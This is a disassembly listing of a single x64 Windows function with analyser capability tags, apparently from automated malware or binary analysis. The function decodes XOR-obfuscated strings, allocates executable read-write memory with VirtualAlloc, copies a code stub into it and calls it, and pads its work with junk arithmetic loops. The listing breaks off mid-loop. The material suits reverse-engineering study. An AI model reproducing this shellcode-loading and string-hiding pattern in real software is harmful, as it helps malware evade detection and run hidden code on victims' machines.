Function at 0x14000f850
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5560]
mov eax, 0x5660
call fcn.14002a1f0
sub rsp, rax
movaps xmmword [rsp + 0x5650], xmm6
movaps xmmword [rsp + 0x5640], xmm7
movaps xmmword [rsp + 0x5630], xmm8
movaps xmmword [rsp + 0x5620], xmm9
movaps xmmword [rsp + 0x5610], xmm10
movaps xmmword [rsp + 0x5600], xmm11
movaps xmmword [rsp + 0x55f0], xmm12
movaps xmmword [rsp + 0x55e0], xmm13
movaps xmmword [rsp + 0x55d0], xmm14
movaps xmmword [rsp + 0x55c0], xmm15
mov rax, qword [0x140036010]
xor rax, rsp
mov qword [rbp + 0x54b0], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x508], xmm0
lea rax, [rbp + 0x5588]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x510], rcx
mov qword [rbp + 0x518], rax
mov rax, qword [rax]
xor rax, rcx
mov qword [rbp + 0x508], rax
movups xmmword [rbp + 0x450], xmm0
lea r15, [rbp + 0x5588]
mov qword [rbp + 0x458], rcx
mov qword [rbp + 0x460], r15
mov qword [rbp + 0x450], rcx
mov qword [r15], r12
mov edi, dword [rbx + 0x10]
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14000f958
mov r8, qword [rbx]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd r14, eax
mov eax, 2
mul r14
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14002962c
mov rsi, rax
cmp qword [rbx + 0x18], 0x10
jb 0x14000f99b
mov rbx, qword [rbx]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
lea r9d, [rdi + 1]
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rdx, rsi
lea rcx, [rbp + 0x350]
call fcn.14001dbf0
mov rcx, rsi
call fcn.140029390
nop
mov qword [rbp + 0x450], r12
mov qword [r15], r12
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x210]
call fcn.14000c8b0
nop
mov rdx, rax
lea rcx, [rbp + 0x5c8]
call fcn.14000c7b0
nop
lea rcx, [rbp + 0x210]
call fcn.140002880
nop
lea rcx, [rbp + 0x350]
call fcn.140002880
movups xmm0, xmmword [0x14002de48]
movups xmmword [rbp + 0x250], xmm0
movups xmm1, xmmword [0x14002de58]
movups xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [0x14002de68]
movups xmmword [rbp + 0x270], xmm0
movsd xmm0, qword [0x14002de78]
movsd qword [rbp + 0x280], xmm0
mov eax, dword [0x14002de80]
mov dword [rbp + 0x288], eax
movzx eax, word [0x14002de84]
mov word [rbp + 0x28c], ax
movzx eax, byte [0x14002de86]
mov byte [rbp + 0x28e], al
mov r9d, r12d
mov esi, 6
lea eax, [rsi + 0x19]
lea r13d, [rsi - 1]
mov r15d, dword [0x140036018]
cmp r15d, 2
jl 0x14000fcaf
movdqa xmm9, xmmword [0x14002e710]
movdqa xmm6, xmmword [0x14002e790]
movd xmm10, r13d
movdqa xmm7, xmmword [0x14002e7b0]
movd xmm11, esi
movdqa xmm12, xmmword [0x14002e730]
movdqa xmm13, xmmword [0x14002e740]
movd xmm8, eax
movdqa xmm0, xmmword [0x14002e770]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x250]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x14000faf0
cmp r9d, 0x3f
jge 0x14000fd14
movsxd rax, r9d
lea r10, [rbp + 0x250]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x1f
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x14000fcc0
lea rax, [rbp + 0x250]
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x598]
call fcn.1400026e0
lea rdx, [rbp + 0x5588]
lea rcx, [rbp + 0x598]
call fcn.1400026f0
nop
mov ecx, r12d
mov r14d, 3
lea rbx, [0x14001f480]
lea rdi, [0x140000000]
mov rax, qword [0x140038630]
test rax, rax
je 0x14000fd8b
cmp rax, rbx
je 0x14000fd78
inc ecx
mov rax, qword [rdi + rcx*8 + 0x38630]
test rax, rax
jne 0x14000fd62
jmp 0x14000fd8b
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x37ff0]
test r8, r8
jne 0x14000fe6f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000fdb2
mov r8, r12
jmp 0x14000fe4e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000fdc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140037678]
mov qword [rdi + rax*8 + 0x38630], rbx
mov qword [rdi + rax*8 + 0x37ff0], r8
inc rax
mov qword [0x140037678], rax
lea rdx, [rbp + 0x70]
lea rcx, [0x14000c370]
call r8
nop
mov rcx, qword [rbp + 0x598]
xor rcx, qword [rbp + 0x5a0]
mov qword [rbp + 0x598], rcx
mov rax, qword [rbp + 0x5a8]
mov qword [rax], rcx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x670]
call fcn.14001cf90
mov dword [rbp + 0x3e0], 0xffffff9c
mov dword [rbp + 0x3e4], 0x64
movaps xmm0, xmmword [0x14002e780]
movups xmmword [rbp + 0x468], xmm0
mov dword [rsp + 0x30], r12d
xorps xmm0, xmm0
movsd qword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x78]
call fcn.140001770
mov rax, qword [rbp + 0x78]
add rax, 0x5f5e100
mov qword [rbp - 0x40], rax
lea rcx, [rbp + 0x3f0]
call fcn.1400026e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], r12
lea rcx, [rbp + 0x80]
call fcn.14001eed0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x70], rcx
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x3f0]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x70]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x80]
call fcn.14001ce80
lea rcx, [rbp + 0x88]
call fcn.14001ef20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x68], rcx
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x3f0]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x68]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x88]
call fcn.14001ce80
lea rcx, [rbp + 0x90]
call fcn.14001ef50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x60], rcx
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x3f0]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x60]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x90]
call fcn.14001ce80
lea rcx, [rbp + 0x98]
call fcn.14001ef80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x58], rcx
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x3f0]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x58]
call fcn.14001ce80
nop
lea rcx, [rbp + 0x98]
call fcn.14001ce80
lea rcx, [rbp + 0xa0]
call fcn.14001efb0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x50], rcx
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x3f0]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x50]
call fcn.14001ce80
nop
lea rcx, [rbp + 0xa0]
call fcn.14001ce80
lea rcx, [rbp + 0xa8]
call fcn.14001efe0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 0x48], rcx
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x3f0]
call fcn.14001cea0
nop
lea rcx, [rbp - 0x48]
call fcn.14001ce80
nop
lea rcx, [rbp + 0xa8]
call fcn.14001ce80
lea rcx, [rbp + 0xb0]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.140002690
movsd xmm15, qword [0x14002e6c8]
movsd xmm14, qword [0x14002e6c0]
test al, al
jns 0x14001040a
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x670]
mov qword [rsp + 0x68], rax
movaps xmm6, xmmword [rsp + 0x60]
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x3e0]
call fcn.14001edd0
mov rbx, qword [rbp + 0x3f8]
sub rbx, qword [rbp + 0x3f0]
sar rbx, 3
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x3e0]
call fcn.14001edd0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x3f0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x3e0]
call fcn.14001edd0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x468]
call fcn.14001f010
movaps xmm5, xmm0
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x468]
call fcn.14001f010
movaps xmm1, xmm5
call fcn.140002540
movsd xmm1, qword [rsp + 0x40]
addsd xmm0, xmm1
movsd qword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x468]
call fcn.14001f010
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x40]
subsd xmm1, xmm0
movsd qword [rsp + 0x40], xmm1
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x468]
call fcn.14001f010
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x5e8]
call fcn.14001df00
nop
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x5e8]
call fcn.1400024b0
lea rcx, [rbp + 0x4f0]
call fcn.1400026e0
lea rcx, [rbp + 0x4f0]
call fcn.14001d060
nop
movdqa xmmword [rbp + 0x2a0], xmm6
lea r8, [rbp + 0x2a0]
mov rdx, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x4f0]
call fcn.14001f090
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x4f0]
call fcn.1400025c0
mov rdx, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x4f0]
call fcn.14001f0f0
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x3e0]
call fcn.14001edd0
mov ebx, eax
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x3e0]
call fcn.14001edd0
mov r8d, ebx
mov edx, eax
call fcn.1400026b0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x1400102d8
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x3e0]
test eax, eax
jne 0x1400102fb
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14001030a
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov rdi, r13
nop dword [rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x3e0]
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x468]
call fcn.14001f010
movsd xmm5, qword [rsp + 0x40]
addsd xmm0, xmm5
movsd qword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x670]
test bl, 1
jne 0x140010385
lea rcx, [rbp + 0x3e0]
call fcn.14001edd0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x1400103a6
movsd xmm5, qword [rsp + 0x40]
lea rcx, [rbp + 0x468]
call fcn.14001f010
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x40], xmm5
inc ebx
cmp ebx, 5
jl 0x140010320
sub rdi, 1
jne 0x140010310
lea rcx, [rbp + 0x4f0]
call fcn.14001d000
nop
lea rcx, [rbp + 0x5e8]
call fcn.14001de90
sub rsi, 1
jne 0x1400100f0
lea rcx, [rbp + 0xb0]
call fcn.140001770
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.140002690
test al, al
js 0x1400100e0
lea rdi, [0x140000000]
mov esi, 6
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0x3f0]
call fcn.14001ced0
mov dword [rsp + 0x70], 0x96
lea rcx, [rbp + 0x5b0]
call fcn.1400026e0
lea rdx, [rbp + 0x5588]
lea rcx, [rbp + 0x5b0]
call fcn.1400026f0
nop
mov ecx, r12d
lea r13, [0x14001f7a0]
mov rax, qword [0x140038310]
test rax, rax
je 0x140010481
cmp rax, r13
je 0x14001046e
inc ecx
mov rax, qword [rdi + rcx*8 + 0x38310]
test rax, rax
jne 0x140010458
jmp 0x140010481
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x39930]
test r8, r8
jne 0x140010560
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400104a8
mov r8, r12
jmp 0x14001053f
mov rax, r13
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400104b1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140038950]
mov qword [rdi + rax*8 + 0x38310], r13
mov qword [rdi + rax*8 + 0x39930], r8
inc rax
mov qword [0x140038950], rax
lea rdx, [rsp + 0x70]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0x5b0]
xor rcx, qword [rbp + 0x5b8]
mov qword [rbp + 0x5b0], rcx
mov rax, qword [rbp + 0x5c0]
mov qword [rax], rcx
movups xmm0, xmmword [0x14002e1f0]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [0x14002e200]
movups xmmword [rbp + 0x2e0], xmm1
movups xmm0, xmmword [str._r0_n]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [0x14002e220]
movups xmmword [rbp + 0x300], xmm1
movups xmm0, xmmword [0x14002e230]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [0x14002e240]
movups xmmword [rbp + 0x320], xmm1
movups xmm0, xmmword [0x14002e250]
movups xmmword [rbp + 0x330], xmm0
movsd xmm0, qword [0x14002e260]
movsd qword [rbp + 0x340], xmm0
movzx eax, byte [0x14002e268]
mov byte [rbp + 0x348], al
mov r9d, r12d
cmp r15d, 2
jl 0x14001083f
movdqa xmm9, xmmword [0x14002e710]
movdqa xmm6, xmmword [0x14002e790]
mov r8d, 5
movd xmm10, r8d
movdqa xmm7, xmmword [0x14002e7b0]
movd xmm11, esi
movdqa xmm12, xmmword [0x14002e730]
movdqa xmm13, xmmword [0x14002e740]
mov r10d, 0x1f
movd xmm8, r10d
movdqa xmm0, xmmword [0x14002e770]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x2d0]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x140010680
cmp r9d, 0x79
jge 0x1400108ae
movsxd rax, r9d
lea r10, [rbp + 0x2d0]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3e
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x1f
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x140010850
mov r8d, 5
lea r10d, [r8 + 0x1a]
movups xmm0, xmmword [0x14002e3f0]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm0, xmmword [0x14002e410]
movups xmm1, xmmword [0x14002e400]
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1b0], xmm1
movzx eax, word [0x14002e458]
movups xmm0, xmmword [0x14002e430]
movups xmm1, xmmword [0x14002e420]
mov word [rbp + 0x208], ax
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1d0], xmm1
movzx eax, byte [0x14002e45a]
movsd xmm0, qword [0x14002e450]
movups xmm1, xmmword [0x14002e440]
mov byte [rbp + 0x20a], al
movsd qword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x1f0], xmm1
mov r9d, r12d
cmp r15d, 2
jl 0x140010b4f
movdqa xmm9, xmmword [0x14002e710]
movdqa xmm6, xmmword [0x14002e790]
movd xmm10, r8d
movdqa xmm7, xmmword [0x14002e7b0]
movd xmm11, esi
movdqa xmm12, xmmword [0x14002e730]
movdqa xmm13, xmmword [0x14002e740]
movd xmm8, r10d
movdqa xmm0, xmmword [0x14002e770]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1a0]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14002e760]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14002e760]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
